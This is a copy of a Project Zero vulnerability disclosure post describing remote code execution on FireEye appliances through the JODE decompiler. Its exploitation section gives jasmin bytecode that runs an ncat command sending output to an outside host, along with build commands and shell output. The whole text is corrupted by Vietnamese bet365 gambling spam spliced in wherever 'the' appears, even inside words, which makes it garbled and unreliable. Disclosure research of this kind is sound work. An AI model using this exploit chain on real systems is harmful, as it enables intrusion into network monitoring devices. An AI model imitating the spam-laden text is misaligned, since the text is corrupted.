Tuesday, December 15, 2015

FireEye Exploitation: Project Zero’s Vulnerability of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Beast


Posted by Tavis Ormandy, Chief Silver Bullet Skeptic.
FireEye sell security appliances to enterprise and government customers. FireEye’s flagship products are monitoring devices designed to be installed at egress points of large networks, i.e. where traffic flows from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 intranet to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 internet.


To give a brief overview, an organization installs a FireEye device on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir internal network, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n connects it to a SPAN or mirror port at an egress point (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se are monitoring ports built into professional networking equipment).


The FireEye device cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n watches all network traffic passively, monitoring common protocols like HTTP, FTP, SMTP, etc, for any transferred files. If a file transfer is detected (for example, an email attachment or a HTTP download) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye extracts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file and scans it for malware.


In principle, if a user receives a malicious email or visits a malicious website, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye device observes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 traffic and alerts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network administrator. FireEye also make appliances specifically intended to monitor file servers and mail exchangers, among ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs.


For networks with deployed FireEye devices, a vulnerability that can be exploited via cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passive monitoring interface would be a nightmare scenario. This would mean an attacker would only have to send an email to a user to gain access to a persistent network tap - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recipient wouldn’t even have to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 email, just receiving it would be enough.


A network tap is one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most privileged machines on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network, with access to employee’s email, passwords, downloads, browsing history, confidential attachments, everything. In some deployment configurations* an attacker could tamper with traffic, inserting backdoors or worse. Because FireEye devices typically have a secondary internet-connected interface for updates and management, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue could even be wormable across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 internet.


In this blog post we’ll discuss 666, a vulnerability discovered by Project Zero that could be exploited via cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passive monitoring interface.


FireEye have issued a patch for this vulnerability, and customers who have not updated should do so immediately to protect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir infrastructure.



* FireEye devices can be configured in IPS mode, which can modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitored traffic.
 This issue just happened to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 666th Project Zero advisory.


Frequently Asked Questions


Q. How do I check if my FireEye appliance is vulnerable to this issue?
A. In general, devices with security content release 427.334 and higher have this issue resolved. FireEye have posted official information regarding this vulnerability at https://www.fireeye.com/support/notices.html.


Q. Which FireEye products are affected by this vulnerability?
A. The NX, FX, AX and EX series are affected by this vulnerability in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir default configuration.


Q. How long did FireEye take to resolve this issue after it was reported?
A. FireEye responded very quickly, pushed out temporary mitigations to customers within hours of our report and resolved cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue completely within 2 days.


Q. Have FireEye supported your security research?
A. Yes, FireEye have been very cooperative. They worked with us closely, provided test equipment, support, and have responded very quickly to any issues we reported.


Q. I cannot update my FireEye appliance, what temporary mitigation steps can I take?
A. Mitigations are available, contact FireEye support for instructions. It's my understanding that even if your support contract has expired, FireEye support will assist you with mitigating this issue.


Lab Setup


Project Zero have been evaluating a FireEye NX 7500 appliance, and created a lab to generate sample traffic. The test environment consisted of a workstation with four network interfaces. Two interfaces were connected to a hub, which were used for simulating network traffic.


The FireEye passive monitoring interface (called pecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r3) was connected to a third port on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hub (acting like a mirror port) so that it could observe traffic being exchanged between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two interfaces on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 test machine. This simulates an intranet user receiving email or downloading files from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 internet.


The additional interfaces were used for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye management interface, and LAN access.






This is a tricky routing configuration, in particular, getting traffic between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two local interfaces (eth2, eth3) to flow through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hub requires some knowledge of how local routing works on Linux.


In this case, I want cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simulated network on 192.168.2.0/24 and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 management interface on 192.168.1.1/24. This requires adjusting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 local routing table and creating device specific rules accordingly.


# First, make sure Linux will accept local<->hub<->local traffic
echo 1 > /proc/sys/net/ipv4/conf/all/accept_local


# Give cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two interfaces connected to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hub static addresses.
ip addr add 192.168.2.2 dev eth2
ip addr add 192.168.2.1 dev eth3


# Route traffic destined for each address to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 *opposite* device
ip route add 192.168.2.1 dev eth2
ip route add 192.168.2.2 dev eth3


# Force Linux to forget that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se are local interfaces so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 traffic actually reaches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hub.
ip route del 192.168.2.2 table local
ip route del 192.168.2.1 table local


# Now add corresponding rules for each interface
ip rule add iif eth2 lookup 100
ip route add local 192.168.2.2 dev eth2 table 100
ip rule add iif eth3 lookup 101
ip route add local 192.168.2.1 dev eth3 table 101


To make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 management interface accessible, configure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r1 interface on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye via ttyS0 with a static address on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct subnet.


# Enable cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 management interface on my workstation
ifconfig eth1 up 192.168.1.1 netmask 255.255.255.0


# Now configure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 management interface on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye
fireeye> no interface ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r1 dhcp
fireeye> interface ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r1 ip address 192.168.1.2 255.255.255.0


This allows access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye device via cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 management interface, and to generate simulated traffic across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network tap from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same machine.


Once this is configured, to simulate a user downloading a file from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 internet, you simply download across 192.168.2.2/24:


# Start a python web server to simulate a website
$ sudo python -m SimpleHTTPServer 80 &


# Create a file to download
$ echo hello > test.txt


# Download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hub, so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye can see it
hello


Logging in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye management interface and using tcpdump to verify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passive interface can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simulated network traffic:


fireeye> tcpdump -i pecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r3
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on pecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r3, link-type EN10MB (Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet), capture size 262144 bytes
13:38:30.980073 IP 192.168.2.1.58276 > 192.168.2.2.http: Flags [S], seq 2112408534, win 29200, options [mss 1460,sackOK,TS val 1133741089 ecr 0,nop,wscale 7], length 0
13:38:30.981065 IP 192.168.2.2.http > 192.168.2.1.58276: Flags [R.], seq 0, ack 2112408535, win 0, length 0
2 packets captured
2 packets received by filter
0 packets dropped by kernel


This confirms that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye is successfully monitoring cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simulated network.


FireEye Architecture


The main analyses performed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye appliance are monitoring for known malicious traffic (blacklisted netblocks, malware domains, snort rules, etc), static analysis of transferred files (antivirus, yara rules, and analysis scripts), and finally tracing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 execution of transferred files in instrumented virtual machines. Once an execution trace has been generated, pattern matching against known-bad behaviour is performed.


The primary components involved in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se stages are bott, mip and silverfish respectively.


fireeye> show pm process bott
Process bott (Network Content Processing Engine)
 State:
     Current status:  running
     PID:             14745
     Uid:             0
     Gid:             0
fireeye> show pm process mip
Process mip (Malware Input Processor)
  ...
fireeye> show pm process silverfish
Process silverfish (Submit files for VM analysis)
 ...

The MIP (Malware Input Processor) subsystem is responsible for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 static analysis of files, invoking helper programs and plugins to decode various file types. For example, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 swf helper invokes flasm to disassemble flash files, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dmg helper invokes p7zip to extract cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of Mac OS Disk Images and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 png helper invokes pngcheck to check for malformed images.


The jar helper is used to analyze captured Java Archives, which checks for signatures using jarsigner, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n attempts to decompile cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents using an open source Java decompiler called JODE.


Once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 decompilation completes, it checks for known-malicious code patterns in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 decompiler output, for example:


   regex = re.compile(".*class [a-zA-Z0-9]+ extends Applet")
   regexScript = re.compile(".*javax.script.ScriptEngine")
   regexReflection = re.compile(".*java.lang.reflect")


As JODE is open source, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code is available for study. Examining cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code, it wasn’t immediately obvious to me that it’s safe to decompile untrusted classes. JODE makes extensive use of reflection and even contains a simple java virtual machine it uses for analysis.


Screenshot from 2015-12-07 10:03:45.png


This SimpleRuntimeEnvironment class is used by JODE to deobfuscate strings by dynamically executing some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytecode. This code in particular attempts to handle method invocation in static constructors.


Screenshot from 2015-12-07 10:06:39.png


This looked scary enough for furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r investigation, so I extracted cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 JODE package from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye device to examine it more closely. The jdb debugger confirms that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OPTION_DECRYPT setting is enabled, and that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SimpleVirtualMachine class is defined:


$ jdb -classpath "." net.sf.jode.decompiler.Main test.jar
Initializing jdb ...
> stop in net.sf.jode.expr.InvokeOperator.deobfuscateString
Deferring breakpoint net.sf.jode.expr.InvokeOperator.deobfuscateString.
It will be set after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 class is loaded
> run
...
main[1] dump net.sf.jode.decompiler.Options.options
net.sf.jode.decompiler.Options.options = 831


This means that by sending a JAR across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network, we can get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye to execute it simply by pretending to use string obfuscation.


Exploitation


In order to construct a class file that passes JODE’s heuristic for obfuscated strings, we used cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 jasmin assembler, which gives us cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 flexibility to create classes that are not possible with javac.


With some trial and error, we were eventually able to construct a class that JODE would execute, and used it to invoke java.lang.Runtime.getRuntime().exec(), which allows us to execute arbitrary shell commands. This worked during our testing, and we were able to execute commands just by transferring JAR files across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passive monitoring interfaces.


As FireEye is shipped with ncat installed by default, creating a connect-back shell is as simple as specifying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command we want and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of our control server. Here is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sample jasmin code we used, simply using ncat to execute /usr/bin/id and send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network:


.method public static obf(Ljava/lang/String;)Ljava/lang/String;
   .limit locals 1
   .limit stack 8
   invokestatic java/lang/Runtime/getRuntime()Ljava/lang/Runtime;
   ldc "ncat example.com 9090 -e /usr/bin/id"
   invokevirtual java/lang/Runtime/exec(Ljava/lang/String;)Ljava/lang/Process;
   ldc "test"
   areturn
.end method


The full jasmin assembly file is available on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Project Zero issue tracker. Now we simply construct a JAR file for FireEye to decompile:


$ jasmin ReverseShell.j
$ jar cvf fireeye.jar ReverseShell.class
added manifest
adding: ReverseShell.class(in = 489) (out= 311)(deflated 36%)
Start a listener for my connectback shell:

$ nc -lp 9090 &
[1] 11115

Now download a file over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 monitored network, to simulate an attacker emailing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 JAR, or a user clicking a link.

$ curl http://192.168.2.2/fireeye.jar &> /dev/null

Then simply wait for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 connect back shell attempt, which can take a few minutes depending on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 machine load.

$ wait
uid=821(mip) gid=3111(mip)
groups=3111(mip),602(antivirus),2000(analysis),3001(stats),3134(mip_child),3200(dipcshm),3203(reports),3204(contents),3210(mip_client)
[1]+  Done                    nc -lp 9090


We successfully have code execution on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye machine!


Privilege Escalation


We now have code execution as user mip, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Malware Input Processor. The mip user is already quite privileged, capable of accessing sensitive network data. However, as ███ █████ ███████ ███ █████████████ ███ ████████, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a very simple privilege escalation to root. This is because ███ █████ █████████████ ██ ████████ ██ ████ █████.


FireEye have requested additional time to prepare a fix for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privilege escalation component of this attack.



fireeye# id                                                           
uid=0(admin) gid=0(root) groups=0(root)

And now we’re root, with complete control of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 FireEye machine. We can load a rootkit, persist across reboots or factory resets, inspect or modify traffic, or perform any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r action.


Conclusion


Putting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se steps togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r, an attacker can send an email to a user or get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to click a link, and completely compromise one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most privileged machines on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network.


This allows exfiltration of confidential data, tampering with traffic, lateral movement around networks and even self-propagating internet worms.


If you would like to read more from our series on attacks against security products, we have also published research into ESET, Kaspersky, Sophos, Avast and more, with furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r research scheduled for release soon.


Acknowledgements


This vulnerability was discovered by Tavis Ormandy and Natalie Silvanovich of Google Project Zero.


Many thanks to FireEye for supporting our research and working with us to improve security.

5 comments:

  1. Great write up! I think I see a minor error. You show using curl to download a file but your tcpdump doesn't show a successful file transfer. There's a SYN and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n a RST.

    ReplyDelete
  2. Very cool! I'm kinda surprised that none of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se helpers try to sandbox cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves!

    ReplyDelete